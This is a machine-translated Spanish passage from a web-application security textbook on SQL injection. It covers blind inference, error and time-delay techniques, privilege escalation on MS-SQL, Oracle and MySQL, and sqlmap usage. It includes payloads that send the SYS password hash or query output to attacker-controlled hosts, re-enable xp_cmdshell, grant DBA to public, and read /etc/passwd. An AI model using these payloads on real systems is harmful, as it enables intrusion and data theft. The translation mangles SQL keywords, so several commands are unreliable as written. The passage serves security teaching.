de describir de la ejecución por parte de cualquier usuario de base de datos arbitrario.
Una forma fácil de evitar esto es sumergirse en la nueva funcionalidad provista en Oracle 11g y usar este código:
SYS.DBMS_LDAP.INIT((SELECCIONE LA CONTRASEÑA DE SYS.USER$ DONDE
NOMBRE='SYS')||'.mdsec.net',80)
MySQL
El comando SELECT ... INTO OUTFILE se puede usar para dirigir la salida de una
consulta arbitraria a un archivo. El nombre de archivo especificado puede contener una
ruta UNC, lo que le permite dirigir la salida a un archivo en su propia computadora. Por ejemplo:
seleccione * en el archivo de salida '\\\\mdattacker.net\\share\\output.txt' de los usuarios;
Para recibir el archivo, debe crear un recurso compartido SMB en su computadora que
permita el acceso de escritura anónimo. Puede configurar recursos compartidos en plataformas
basadas en Windows y UNIX para que se comporten de esta manera. Si tiene dificultades
para recibir el archivo exportado, esto puede deberse a un problema de configuración en su
servidor SMB. Puede usar un sniffer para confi rmar si el servidor de destino está iniciando
alguna conexión entrante a su computadora. Si es así, consulte la documentación de su
servidor para asegurarse de que esté configurado correctamente.
Aprovechamiento del sistema

operativo A menudo es posible realizar ataques de escalada a través de la base de datos
que dan como resultado la ejecución de comandos arbitrarios en el sistema operativo del
propio servidor de la base de datos. En esta situación, hay muchas más vías disponibles para
recuperar datos, como usar comandos integrados como tftp, mail y telnet, o copiar datos en
la raíz web para recuperarlos usando un navegador. Consulte la sección posterior "Más allá
de la inyección de SQL" para obtener técnicas para escalar privilegios en la base de datos misma.
Uso de la inferencia: respuestas condicionales

Hay muchas razones por las que un canal fuera de banda puede no estar disponible. Lo más
común es que esto ocurra porque la base de datos está ubicada dentro de una red protegida
cuyos cortafuegos perimetrales no permiten ninguna conexión saliente a Internet ni a ninguna
otra red. En esta situación, está restringido a acceder a la base de datos completamente a
través de su punto de inyección en la aplicación web.
En esta situación, trabajando más o menos a ciegas, puede usar muchas técnicas para
recuperar datos arbitrarios desde dentro de la base de datos. Todas estas técnicas se basan
en el concepto de usar una consulta inyectada para desencadenar condicionalmente algún
comportamiento detectable por parte de la base de datos y luego inferir un elemento de
información requerido en función de si se produce este comportamiento.
Recuerde la función de inicio de sesión vulnerable donde se encuentran los campos de nombre de usuario y contraseña
se puede inyectar para realizar consultas arbitrarias:
Suponga que no ha identificado ningún método para transmitir los resultados de sus
consultas inyectadas al navegador. Sin embargo, ya has visto cómo puedes usar la inyección
SQL para modificar el comportamiento de la aplicación.
Por ejemplo, enviar las siguientes dos entradas genera resultados muy diferentes:
administrador' Y 1=1--
administrador' Y 1=2--
En el primer caso, la aplicación lo registra como usuario administrador. En el

segundo caso, el intento de inicio de sesión falla porque la condición 1=2 siempre es
falsa. Puede aprovechar este control del comportamiento de la aplicación como un
medio para inferir la verdad o falsedad de condiciones arbitrarias dentro de la propia
base de datos. Por ejemplo, utilizando las funciones ASCII y SUBSTRING descritas
anteriormente, puede probar si un carácter específico de una cadena capturada tiene
un valor específico. Por ejemplo, enviar esta entrada lo registra como usuario
administrador, porque la condición probada es verdadera:
administrador' Y ASCII(SUBCADENA('Administrador',1,1)) = 65--
Sin embargo, enviar la siguiente entrada da como resultado un inicio de sesión fallido, porque la
condición probada es falsa:
administrador' Y ASCII(SUBCADENA('Administrador',1,1)) = 66--
Al enviar una gran cantidad de consultas de este tipo, recorriendo el rango de códigos ASCII probables
para cada carácter hasta que se produzca un acierto, puede extraer la cadena completa, un byte a la vez.
Inducción de errores condicionales
En el ejemplo anterior, la aplicación contenía algunas funciones destacadas cuya lógica podía controlarse
directamente inyectándolas en una consulta SQL existente. El comportamiento diseñado de la aplicación
(un inicio de sesión exitoso frente a un inicio de sesión fallido) podría ser secuestrado para devolver un
solo elemento de información al atacante. Sin embargo, no todas las situaciones son tan sencillas. En
algunos casos, puede estar inyectando en una consulta que no tiene un efecto notable en el comportamiento
de la aplicación, como un mecanismo de registro. En otros casos, puede estar inyectando una subconsulta
o una consulta por lotes cuyos resultados no son procesados por la aplicación de ninguna manera.
En esta situación, es posible que tenga dificultades para encontrar una manera de causar una diferencia
detectable en el comportamiento que dependa de una condición específica.
David Litchfield ideó una técnica que se puede utilizar para desencadenar una diferencia detectable
en el comportamiento en la mayoría de las circunstancias. La idea central es inyectar una consulta que
induzca un error en la base de datos dependiendo de alguna condición específica. Cuando ocurre un error
en la base de datos, a menudo es detectable externamente, ya sea a través de un código de respuesta
HTTP 500 o mediante algún tipo de mensaje de error o comportamiento anómalo (incluso si el mensaje
de error en sí no revela ninguna información útil).
La técnica se basa en una característica del comportamiento de la base de datos al evaluar declaraciones
condicionales: la base de datos evalúa solo aquellas partes de la declaración que necesitan ser evaluadas dado
el estado de otras partes. Un ejemplo de este comportamiento es una instrucción SELECT que contiene una
cláusula WHERE :
SELECCIONE X DE Y DONDE C
Esto hace que la base de datos trabaje en cada fila de la tabla Y, evalúe la condición C y devuelva X en
aquellos casos en los que la condición C sea verdadera. Si la condición C nunca es verdadera, la expresión X
nunca se evalúa.
Este comportamiento se puede aprovechar encontrando una expresión X que sea
sintácticamente válida pero que genere un error si alguna vez se evalúa. Un ejemplo
de dicha expresión en Oracle y MS-SQL es un cálculo de división por cero, como 1/0.
Si la condición C alguna vez es verdadera, se evalúa la expresión X , lo que provoca un error en la base de datos.
Si la condición C siempre es falsa, no se genera ningún error. Por lo tanto, puede usar la presencia o ausencia de
un error para probar una condición arbitraria C.
Un ejemplo de esto es la siguiente consulta, que comprueba si existe el DBSNMP de
usuario predeterminado de Oracle . Si este usuario existe, se evalúa la expresión 1/0 ,
provocando un error:
SELECCIONE 1/0 DESDE dual DONDE (SELECCIONE nombre de usuario DESDE todos_usuarios DONDE nombre de usuario =
'DBSNMP') = 'DBSNMP'
La siguiente consulta prueba si existe un usuario inventado AAAAAA . Debido a que

la condición WHERE nunca es verdadera, la expresión 1/0 no se evalúa, por lo que no
se produce un error:
SELECCIONE 1/0 DESDE dual DONDE (SELECCIONE nombre de usuario DESDE todos_usuarios DONDE nombre de usuario =
'AAAAAA') = 'AAAAAA'
Lo que logra esta técnica es una forma de inducir una respuesta condicional dentro de la aplicación, incluso
en los casos en que la consulta que está inyectando no tiene impacto en la lógica o el procesamiento de datos de
la aplicación. Por lo tanto, le permite utilizar las técnicas de inferencia descritas anteriormente para extraer datos
en una amplia gama de situaciones. Además, debido a la simplicidad de la técnica, las mismas cadenas de ataque
funcionarán en una variedad de bases de datos, y donde el punto de inyección está en varios tipos de
declaraciones SQL.
Esta técnica también es versátil porque se puede utilizar en todo tipo de puntos de inyección donde se puede
inyectar una subconsulta. Por ejemplo:
(seleccione 1 donde <<condición>> o 1/0=0)
Considere una aplicación que proporcione contactos que se puedan buscar y clasificar.
base de datos. El usuario controla el departamento de parámetros y ordena:
/search.jsp?department=30&sort=ename
Esto aparece en la siguiente consulta de back-end, que parametriza la salida

ment pero concatena el parámetro sort en la consulta:
String queryText = “SELECT enname,job,deptno,hiredate FROM emp WHERE deptno = ?
ORDEN POR “ + solicitud.getParameter(“ordenar”) + “DESC”;
No es posible modificar la cláusula WHERE ni emitir una consulta UNION después de un ORDER
Cláusula BY ; sin embargo, un atacante puede crear una condición de inferencia emitiendo
la siguiente declaración:
/search.jsp?department=20&sort=(select%201/0%20from%20dual%20where%20
(select%20substr(max(object_name),1,1)%20FROM%20user_objects)='Y')
Si la primera letra del primer nombre de objeto en la tabla user_objects es igual a 'Y',
esto hará que la base de datos intente evaluar 1/0. Esto dará como resultado un error y
la consulta general no devolverá ningún resultado. Si la letra no es igual a 'Y', los
resultados de la consulta original se devolverán en el orden predeterminado.
Suministrando cuidadosamente esta condición a una herramienta de inyección SQL
como Absinthe o SQLMap, podemos recuperar cada registro en la base de datos.
Uso de retardos de
tiempo A pesar de todas las técnicas sofisticadas ya descritas, puede haber situaciones
en las que ninguno de estos trucos sea efectivo. En algunos casos, es posible que
pueda inyectar una consulta que no arroje resultados al navegador, que no se pueda
usar para abrir un canal fuera de banda y que no tenga ningún efecto en el
comportamiento de la aplicación, incluso si induce un error dentro la propia base de datos.
En esta situación, no todo está perdido, gracias a una técnica inventada por Chris
Anley y Sherief Hammad de NGSSoftware. Idearon una forma de elaborar una consulta
que provocaría un retraso de tiempo, dependiendo de alguna condición especificada
por el atacante. El atacante puede enviar su consulta y luego controlar el tiempo que
tarda el servidor en responder. Si se produce un retraso, el atacante puede inferir que
la condición es verdadera. Incluso si el contenido real de la respuesta de la aplicación
es idéntico en los dos casos, la presencia o ausencia de un retraso de tiempo permite
al atacante extraer un solo bit de información de la base de datos. Al realizar numerosas
consultas de este tipo, el atacante puede recuperar sistemáticamente datos
arbitrariamente complejos de la base de datos, un bit a la vez.
Los medios precisos para inducir un retraso de tiempo adecuado dependen de la base de
datos de destino que se utilice. MS-SQL contiene un comando WAITFOR incorporado , que se
puede usar para provocar un retraso de tiempo específico. Por ejemplo, la siguiente consulta
provoca un retraso de 5 segundos si el usuario actual de la base de datos es sa:
if (seleccionar usuario) = 'sa' esperar retraso '0:0:5'

Equipado con este comando, el atacante puede recuperar información

arbitraria de varias formas. Un método es aprovechar la misma técnica ya
descrita para el caso en que la aplicación devuelve respuestas condicionales.
Ahora, en lugar de activar una respuesta de aplicación diferente cuando se detecta una condición
particular, la consulta inyectada induce un retraso de tiempo. Por ejemplo, la segunda de estas consultas
provoca un retraso de tiempo, lo que indica que la primera letra de la cadena capturada es A:
if ASCII(SUBCADENA('Administrador',1,1)) = 64 esperar demora '0:0:5' if

ASCII(SUBCADENA('Administrador',1,1)) = 65 esperar demora '0:0:5'
Como antes, el atacante puede recorrer todos los valores posibles para cada carácter hasta que se
produzca un retraso de tiempo. Alternativamente, el ataque podría hacerse más eficiente al reducir la
cantidad de solicitudes necesarias. Una técnica adicional es dividir cada byte de datos en bits individuales
y recuperar cada bit en una sola consulta. El comando POWER y el operador AND bit a bit & se pueden
usar para especificar condiciones bit por bit. Por ejemplo, la siguiente consulta prueba el primer bit del
primer byte de los datos capturados y se detiene si es 1:
si (ASCII(SUBSTRING('Admin',1,1)) & (POWER(2,0))) > 0 espere el retraso '0:0:5'
La siguiente consulta realiza la misma prueba en el segundo bit:
si (ASCII(SUBSTRING('Admin',1,1)) & (POWER(2,1))) > 0 espere el retraso '0:0:5'
Como se mencionó anteriormente, los medios para inducir un retraso de tiempo dependen en gran
medida de la base de datos. En las versiones actuales de MySQL, la función de suspensión se puede
usar para crear un retraso de tiempo para un número específico de milisegundos:
seleccione si (usuario () como 'raíz @%', dormir (5000), 'falso')
En versiones de MySQL anteriores a la 5.0.12, no se puede utilizar la función de suspensión. Una

alternativa es la función de referencia, que se puede utilizar para realizar una acción específica
repetidamente. Instruir a la base de datos para que realice una acción que requiere un uso intensivo del
procesador , como un hash SHA-1, muchas veces resultará en un retraso de tiempo medible. Por
ejemplo:
seleccione si (usuario () como 'raíz @%', punto de referencia (50000, sha1 ('prueba')), 'falso')
En PostgreSQL, la función PG_SLEEP se puede usar de la misma manera que la función

de suspensión de MySQL.
Oracle no tiene un método incorporado para realizar un retraso de tiempo, pero puede
usar otros trucos para que ocurra un retraso de tiempo. Un truco es usar UTL_HTTP para
conectarse a un servidor inexistente, provocando un tiempo de espera. Esto hace que la base
de datos intente conectarse al servidor especificado y, finalmente, se agote el tiempo de espera.
Por ejemplo:
SELECCIONE 'a'||Utl_Http.request('http://madeupserver.com') de dual ...retraso...
ORA-29273: la solicitud HTTP falló ORA-06512:

en "SYS.UTL_HTTP", línea 1556 ORA-12545: la conexión
falló porque el host u objeto de destino no existe
Puede aprovechar este comportamiento para provocar un retraso de tiempo dependiendo de

alguna condición que especifique. Por ejemplo, la siguiente consulta provoca un tiempo de espera
si existe la cuenta DBSNMP predeterminada de Oracle :
SELECCIONE 'a'||Utl_Http.request('http://madeupserver.com') DESDE dual DONDE (SELECCIONE nombre de

usuario DESDE all_users DONDE nombre de usuario = 'DBSNMP') = 'DBSNMP'
En las bases de datos Oracle y MySQL, puede usar las funciones SUBSTR(ING)
y ASCII para recuperar información arbitraria byte a byte, como se describió
anteriormente.
SUGERENCIA Hemos descrito el uso de retardos de tiempo como un medio para extraer
información interesante. Sin embargo, la técnica de retardo de tiempo también puede
ser inmensamente útil al realizar el sondeo inicial de una aplicación para detectar
vulnerabilidades de inyección SQL. En algunos casos de inyección SQL completamente
ciega, donde no se devuelven resultados al navegador y todos los errores se manejan de
manera invisible, la vulnerabilidad en sí puede ser difícil de detectar utilizando técnicas
estándar basadas en el suministro de información manipulada. En esta situación, el uso de
retardos de tiempo suele ser la forma más confiable de detectar la presencia de una
vulnerabilidad durante el sondeo inicial. Por ejemplo, si la base de datos de back-end es MS-
SQL, puede inyectar cada una de las siguientes cadenas en cada parámetro de solicitud y
controlar cuánto tarda la aplicación en identificar cualquier vulnerabilidad:
'; esperar el retraso '0:30:0'-- 1; espere

el retraso '0:30:0'--
¡INTENTALO!
Este ejemplo de laboratorio contiene una vulnerabilidad de inyección SQL sin

retroalimentación de errores. Puede usarlo para practicar varias técnicas avanzadas,
incluido el uso de respuestas condicionales y retrasos de tiempo.
Más allá de la inyección SQL: intensificación del ataque a la base de datos
Una explotación exitosa de una vulnerabilidad de inyección SQL a menudo da como resultado el
compromiso total de todos los datos de la aplicación. La mayoría de las aplicaciones emplean una sola
cuenta para todo el acceso a la base de datos y se basan en controles de capa de aplicación para imponer
la segregación de acceso entre diferentes usuarios. Obtener el uso sin restricciones de la cuenta de la
base de datos de la aplicación da como resultado el acceso a todos sus datos.
Puede suponer, por lo tanto, que poseer todos los datos de la aplicación es el punto final de un ataque
de inyección SQL. Sin embargo, hay muchas razones por las que podría ser productivo avanzar más en
su ataque, ya sea explotando una vulnerabilidad dentro de la propia base de datos o aprovechando
algunas de sus funciones integradas para lograr sus objetivos. Otros ataques que se pueden realizar
escalando el ataque a la base de datos incluyen los siguientes:
n Si la base de datos se comparte con otras aplicaciones, es posible que pueda escalar
los privilegios dentro de la base de datos y obtener acceso a los datos de otras
aplicaciones. n Es posible que pueda comprometer el sistema operativo del servidor de la
base de datos. n Es posible que pueda obtener acceso a la red a otros sistemas. Por lo
general, el servidor de la base de datos está alojado en una red protegida detrás de
varias capas de defensas perimetrales de la red. Desde el servidor de la base de datos,
es posible que esté en una posición de confianza y pueda acceder a servicios clave en
otros hosts, que pueden explotarse aún más.
n Es posible que pueda volver a realizar conexiones de red fuera de la infraestructura de
alojamiento a su propia computadora. Esto puede permitirle eludir la aplicación,
transmitir fácilmente grandes cantidades de datos confidenciales recopilados de la
base de datos y, a menudo, evadir muchos sistemas de detección de intrusos. n Es
posible que pueda ampliar la funcionalidad existente de la base de datos de forma
arbitraria mediante la creación de funciones definidas por el usuario. En algunas
situaciones, esto puede permitirle eludir el endurecimiento que se ha realizado en la
base de datos mediante la reimplementación efectiva de la funcionalidad que se ha eliminado o deshabilita
Hay un método para hacer esto en cada una de las bases de datos principales, siempre que haya
obtenido privilegios de administrador de base de datos (DBA).
MITO COMÚN
Muchos administradores de bases de datos asumen que no es necesario defender la

base de datos contra ataques que requieren autenticación para explotar. Pueden
razonar que solo una aplicación de confianza que es propiedad de la misma
organización accede a la base de datos. Esto ignora la posibilidad de que una falla
dentro de la aplicación pueda permitir que un tercero malintencionado interactúe con
la base de datos dentro del contexto de seguridad de la aplicación. Cada uno de los
posibles ataques que se acaban de describir debería ilustrar por qué las bases de datos deben defenderse c
Atacar bases de datos es un tema enorme que está más allá del alcance de este libro.
Esta sección le indica algunas formas clave en las que se pueden aprovechar las
vulnerabilidades y la funcionalidad dentro de los principales tipos de bases de datos para escalar su ataque.
La conclusión clave a sacar es que cada base de datos contiene formas de escalar privilegios.
La aplicación de parches de seguridad actuales y un endurecimiento sólido pueden ayudar a
mitigar muchos de estos ataques, pero no todos. Para leer más sobre esta fructífera área de
investigación actual, recomendamos The Database Hacker's Handbook (Wiley, 2005).
MS SQL
Quizás la parte más notoria de la funcionalidad de la base de datos que un atacante puede hacer
mal uso es el procedimiento almacenado xp_cmdshell , que está integrado en MS-SQL de forma
predeterminada. Este procedimiento almacenado permite a los usuarios con permisos de DBA
ejecutar comandos del sistema operativo de la misma manera que el símbolo del sistema cmd.exe .
Por ejemplo:
maestro..xp_cmdshell 'ipconfig > foo.txt'
La oportunidad de que un atacante haga un mal uso de esta funcionalidad es enorme.

Puede ejecutar comandos arbitrarios, canalizar los resultados a archivos locales y volver a leerlos.
Puede abrir conexiones de red fuera de banda para sí mismo y crear un comando de
puerta trasera y un canal de comunicaciones, copiando datos del servidor y cargando
herramientas de ataque. Debido a que MS-SQL se ejecuta de manera predeterminada
como LocalSystem, el atacante generalmente puede comprometer completamente el
sistema operativo subyacente, realizando acciones arbitrarias. MS-SQL contiene una gran
cantidad de otros procedimientos almacenados extendidos, como xp_regread y xp_regwrite,
que se pueden usar para realizar acciones poderosas dentro del registro del sistema operativo Windows.
Manejo del bloqueo predeterminado

La mayoría de las instalaciones de MS-SQL encontradas en Internet serán MS-SQL 2005 o
posterior. Estas versiones contienen numerosas funciones de seguridad que bloquean la base
de datos de forma predeterminada, lo que impide que funcionen muchas técnicas de ataque útiles.
Sin embargo, si la cuenta de usuario de la aplicación web dentro de la base de datos
tiene suficientes privilegios, es posible superar estos obstáculos simplemente
reconfigurando la base de datos. Por ejemplo, si xp_cmdshell está deshabilitado, se
puede volver a habilitar con el procedimiento almacenado sp_configure . Las siguientes
cuatro líneas de SQL hacen esto:
EJECUTAR sp_configure 'mostrar opciones avanzadas', 1

RECONFIGURAR CON ANULACIÓN
EJECUTAR sp_configure 'xp_cmdshell', '1'

RECONFIGURAR CON ANULACIÓN
En este punto, xp_cmdshell se vuelve a habilitar y se puede ejecutar con el

comando habitual:
exec xp_cmdshell 'dir'
Oráculo
Se ha encontrado una gran cantidad de vulnerabilidades de seguridad dentro del propio

software de base de datos de Oracle. Si ha encontrado una vulnerabilidad de inyección SQL
que le permite realizar consultas arbitrarias, normalmente puede escalar a privilegios de
DBA explotando una de estas vulnerabilidades.
Oracle contiene muchos procedimientos almacenados incorporados que se ejecutan con
privilegios de DBA y se ha descubierto que contienen fallas de inyección SQL dentro de los
propios procedimientos. Un ejemplo típico de tal falla existía en el paquete predeterminado
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES antes de la
actualización del parche crítico de julio de 2006 . Esto se puede explotar para aumentar los
privilegios al inyectar la consulta otorgar DBA al público en el campo vulnerable:
seleccione SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('INDX','SCH',
'TEXTINDEXMETHODS”.ODCIIndexUtilCleanup(:p1); ejecute inmediatamente ''declare pragma
Autonomous_transaction; comience a ejecutar inmediatamente ''''grant dba to public'''' ; fin ;'';
FIN;--','CTXSYS',1,'1',0) de dual
Este tipo de ataque podría entregarse a través de una falla de inyección SQL en una aplicación web.
catión inyectando la función en el parámetro vulnerable.
Además de vulnerabilidades reales como estas, Oracle también contiene una gran
cantidad de funciones predeterminadas. Es accesible para usuarios con pocos privilegios y
se puede utilizar para realizar acciones no deseadas, como iniciar conexiones de red o
acceder al sistema de archivos. Además de los poderosos paquetes ya descritos para crear
conexiones fuera de banda, el paquete UTL_FILE se puede usar para leer y escribir archivos
en el sistema de archivos del servidor de la base de datos.
En 2010, David Litchfield demostró cómo se puede abusar de Java en Oracle 10g R2 y
11g para ejecutar comandos del sistema operativo. Este ataque explota primero una falla en
DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY para otorgar al usuario actual el permiso
java.io.filepermission. Luego, el ataque ejecuta una clase de Java (oracle/aurora/util/
Wrapper) que ejecuta un comando del sistema operativo, utilizando DBMS_JAVA.
RUNJAVA. Por ejemplo:
DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper c:\\windows\\system32\\ cmd.exe /c dir>c:\\OUT.LST')
Más detalles se pueden encontrar aquí:
n www.databasesecurity.com/HackingAurora.pdf
n www.notsosecure.com/folder2/2010/08/02/blackhat-2010/
mysql
En comparación con las otras bases de datos cubiertas, MySQL contiene una funcionalidad integrada
relativamente pequeña que un atacante puede hacer mal uso. Un ejemplo es la capacidad de cualquier
usuario con el permiso FILE_PRIV para leer y escribir en el sistema de archivos.
El comando LOAD_FILE se puede utilizar para recuperar el contenido de cualquier archivo. Por
ejemplo:
seleccione cargar_archivo('/etc/passwd')
El comando SELECT ... INTO OUTFILE se puede usar para canalizar los resultados de
cualquier consulta en un archivo. Por ejemplo:
crear prueba de tabla (un varchar (200))

insertar en los valores de prueba (a) ('+ +')
seleccione * de la prueba en el archivo de salida '/etc/hosts.equiv'
Además de leer y escribir archivos clave del sistema operativo, esta capacidad
se puede utilizar para realizar otros ataques:
n Debido a que MySQL almacena sus datos en archivos de texto sin formato, a los que la base de
datos debe tener acceso de lectura, un atacante con permisos FILE_PRIV puede simplemente
abrir el archivo relevante y leer datos arbitrarios desde dentro de la base de datos, pasando por
alto cualquier control de acceso aplicado dentro de la propia base de datos. . n MySQL permite a
los usuarios crear funciones definidas por el usuario (UDF) llamando a un archivo de biblioteca
compilado que contiene la implementación de la función.
Este archivo debe ubicarse dentro de la ruta normal desde la cual MySQL carga las bibliotecas
dinámicas. Un atacante puede usar el método anterior para crear un archivo binario arbitrario
dentro de esta ruta y luego crear una UDF que lo use. Consulte el artículo de Chris Anley
“Hackproofi ng MySQL” para obtener más detalles sobre esta técnica.
Uso de herramientas de explotación de SQL
Muchas de las técnicas que hemos descrito para explotar las capacidades de las vulnerabilidades de
inyección SQL implican realizar un gran número de solicitudes para extraer pequeñas cantidades de
datos a la vez. Afortunadamente, hay numerosas herramientas disponibles que automatizan gran parte
de este proceso y que conocen la sintaxis específica de la base de datos requerida para lanzar ataques
exitosos.
La mayoría de las herramientas actualmente disponibles utilizan el siguiente enfoque para explotar
Vulnerabilidades de inyección SQL:
n Aplicar fuerza bruta a todos los parámetros en la solicitud de destino para localizar la inyección de SQL
puntos.
n Determine la ubicación del campo vulnerable dentro de la consulta SQL de back-end

agregando varios caracteres, como corchetes de cierre, caracteres de comentario y palabras
clave de SQL. n Intente realizar un ataque UNION aplicando fuerza bruta al número de
columnas requeridas y luego identificando una columna con el tipo de datos varchar , que se
puede usar para devolver resultados.
n Inyecte consultas personalizadas para recuperar datos arbitrarios; si es necesario,

concatene datos de varias columnas en una cadena que se pueda recuperar a través
de un solo resultado del tipo de datos varchar . n Si no se pueden recuperar los
resultados mediante UNION, inyecte condiciones booleanas (AND 1=1, AND 1=2, etc.) en
la consulta para determinar si se pueden usar respuestas condicionales para recuperar
datos.
n Si los resultados no se pueden recuperar inyectando expresiones condicionales, intente usar

retrasos de tiempo condicionales para recuperar los datos.
Estas herramientas localizan datos consultando las tablas de metadatos relevantes para la
base de datos en cuestión. Por lo general, pueden realizar algún nivel de escalamiento, como
usar xp_cmdshell para obtener acceso al nivel del sistema operativo. También usan varias
técnicas de optimización, haciendo uso de las muchas características y funciones integradas
en las diversas bases de datos para disminuir la cantidad de consultas necesarias en un ataque
de fuerza bruta basado en inferencias, evadir filtros potenciales en comillas simples y más.
NOTA Estas herramientas son principalmente herramientas de explotación, más adecuadas

para extraer datos de la base de datos mediante la explotación de un punto de inyección que ya
ha identificado y comprendido. No son una bala mágica para encontrar y explotar fallas de
inyección de SQL. En la práctica, a menudo es necesario proporcionar alguna sintaxis SQL
adicional antes y/o después de los datos inyectados por la herramienta para que funcionen los
ataques codificados de la herramienta.
PASOS DE HACK
Cuando haya identificado una vulnerabilidad de inyección de SQL mediante las técnicas
descritas anteriormente en este capítulo, puede considerar el uso de una herramienta de inyección
de SQL para explotar la vulnerabilidad y recuperar datos interesantes de la base de datos. Esta
opción es especialmente útil en los casos en los que necesita utilizar técnicas ciegas para
recuperar una pequeña cantidad de datos a la vez.
1. Ejecute la herramienta de explotación de SQL utilizando un proxy de interceptación. Analizar el

solicitudes realizadas por la herramienta, así como las respuestas de la aplicación. Active
cualquier opción de salida detallada en la herramienta y correlacione su progreso con las
consultas y respuestas observadas.
Continuado
2. Debido a que este tipo de herramientas se basan en pruebas preestablecidas y sintaxis

de respuesta específica, puede ser necesario agregar o anteponer datos a la cadena
inyectada por la herramienta para garantizar que la herramienta obtenga la respuesta esperada.
Los requisitos típicos son agregar un carácter de comentario, equilibrar las
comillas simples dentro de la consulta SQL del servidor y agregar o anteponer corchetes
de cierre a la cadena para que coincida con la consulta original.
3. Si la sintaxis parece estar fallando independientemente de los métodos descritos

aquí, a menudo es más fácil crear una subconsulta anidada que esté completamente
bajo su control y permitir que la herramienta la inyecte. Esto permite que la herramienta
utilice la inferencia para extraer datos. Las consultas anidadas funcionan bien cuando
se inyectan en consultas estándar SELECCIONAR y ACTUALIZAR. Bajo Oracle,
funcionan dentro de una instrucción INSERT. En cada uno de los siguientes casos,
anteponga el texto que aparece antes de [entrada] y agregue el corchete de cierre que
aparece después de ese punto: n Oracle: '||(select 1 from dual where 1=[input])
n MS-SQL: (seleccione 1 donde 1=[entrada])
Existen numerosas herramientas para la explotación automatizada de la inyección

de SQL. Muchos de estos están orientados específicamente a MS-SQL, y muchos han
dejado de desarrollarse activamente y han sido superados por nuevas técnicas y
desarrollos en la inyección de SQL. El favorito de los autores es sqlmap, que puede
atacar a MySQL, Oracle y MS-SQL, entre otros. Implementa recuperación basada en
UNION y basada en inferencia . Admite varios métodos de escalamiento, incluida la
recuperación de archivos del sistema operativo y la ejecución de comandos en
Windows mediante xp_cmdshell.
En la práctica, sqlmap es una herramienta eficaz para la recuperación de información de
bases de datos a través de retardo de tiempo u otros métodos de inferencia y puede ser útil para
la recuperación basada en UNION . Una de las mejores formas de usarlo es con la opción --sql-shell .
Esto le da al atacante un indicador de SQL y realiza la inyección SQL UNION, basada en errores
o ciega necesaria detrás de escena para enviar y recuperar resultados.
Por ejemplo:
C:\sqlmap>sqlmap.py -u http://wahh-app.com/employees?Empno=7369 --union-use

--sql-shell -p Empno
sqlmap/0.8 - herramienta automática de inyección de SQL y adquisición de base de datos http://

sqlmap.sourceforge.net
[*] a partir de: 14:54:39
[14:54:39] [INFO] usando 'C:\sqlmap\output\wahh-app.com\session' como archivo de sesión
[14:54:39] [INFO] prueba de conexión a la URL de destino

[14:54:40] [ADVERTENCIA] el parámetro comprobable 'Empno' que proporcionó no es
en el
Galleta
[14:54:40] [INFO] probando si la url es estable, espere unos segundos
[14:54:44] [INFO] URL estable
[14:54:44] [INFO] probando la inyección de sql en el parámetro GET 'Empno' con 0 paréntesis
[14:54:44] [INFO] prueba de inyección numérica sin escape en el parámetro GET

'Empno'
[14:54:46] [INFO] confirmando inyección numérica sin escape en GET
parámetro 'Empno'
[14:54:47] [INFO] El parámetro GET 'Empno' es un inyectable numérico sin escape
con 0
paréntesis
[14:54:47] [INFO] probando paréntesis en el parámetro inyectable [14:54:50] [INFO] el parámetro inyectable
requiere 0 paréntesis [14:54:50] [INFO] probando MySQL [14:54: 51] [ADVERTENCIA] el DMBS back-end no es
MySQL [14:54:51] [INFO] probando Oracle [14:54:52] [INFO] confirmando Oracle [14:54:53] [INFO] el back- end
DBMS es el sistema operativo del servidor web de Oracle: tecnología de aplicaciones web de Windows 2000:
ASP, Microsoft IIS 5.0
SGBD de back-end: Oracle
[14:54:53] [INFO] probando la inyección de sql en banda en el parámetro 'Empno' con

NULO
técnica de fuerza bruta
[14:54:58] [INFO] confirmando la inyección de sql en banda completa en el parámetro
'Empno'
[14:55:00] [INFO] la URL de destino se ve afectada por un inband completo explotable
vulnerabilidad de inyección sql

unión válida: 'http://wahh-app.com:80/employees.asp?Empno=7369%20
UNION%20ALL%20SEL
ECT%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%20DE%20DUAL--%20AND%20
3663=3663'
[14:55:00] [INFO] llamando al shell de Oracle. Para salir, escriba 'x' o 'q' y
presione ENTER
sql-shell> seleccione banner de v$version ¿quiere recuperar la salida
de la declaración SQL? [T/n]
[14:55:19] [INFO] obteniendo el resultado de consulta de la instrucción SQL SELECT: 'seleccionar banner de v$version'
seleccionar banner de v$version [5]: Producción
[*] CORE [*] 9.2.0.1.0

NLSRTL Versión 9.2.0.1.0 - Producción [*] Oracle9i Enterprise Edition
Versión 9.2.0.1.0 - Producción [*] PL/SQL Versión 9.2.0.1.0 - Producción [*] TNS para 32 -bit Windows:
Versión 9.2.0.1.0 - Producción
sql-shell>
Referencia de errores y sintaxis de SQL

Hemos descrito numerosas técnicas que le permiten sondear y explotar
vulnerabilidades de inyección SQL en aplicaciones web. En muchos casos,
existen pequeñas diferencias entre la sintaxis que debe emplear en diferentes
plataformas de bases de datos de back-end. Además, cada base de datos
produce diferentes mensajes de error cuyo significado debe comprender tanto
cuando busque fallas como cuando intente crear un exploit efectivo. Las
siguientes páginas contienen una breve hoja de trucos que puede usar para
buscar la sintaxis exacta que necesita para una tarea en particular y para
descifrar cualquier mensaje de error desconocido que encuentre.
Sintaxis SQL
Requisito: ASCII y SUBCADENA
Oráculo: ASCII('A') es igual a 65
SUBSTR('ABCDE',2,3) es igual a BCD
MS SQL: ASCII('A') es igual a 65
SUBCADENA('ABCDE',2,3) es igual a BCD
mysql: ASCII('A') es igual a 65
SUBCADENA('ABCDE',2,3) es igual a BCD
Requisito: Recuperar el usuario actual de la base de datos
Oráculo: Seleccione Sys.login_user desde dual SELECT

usuario DESDE dual SYS_CONTEXT('USERENV',
'SESIÓN_USUARIO')
MS SQL: seleccione suser_sname()
mysql: SELECCIONA usuario()
Requisito: Causar un retraso de tiempo
Oráculo: Utl_Http.request('http://madeupserver.com')
MS SQL: esperar el retraso '0:0:10'
exec master..xp_cmdshell 'ping localhost'
mysql: dormir (100)

Requisito: Recuperar la cadena de la versión de la base de datos
Oráculo: seleccionar banner de v$version
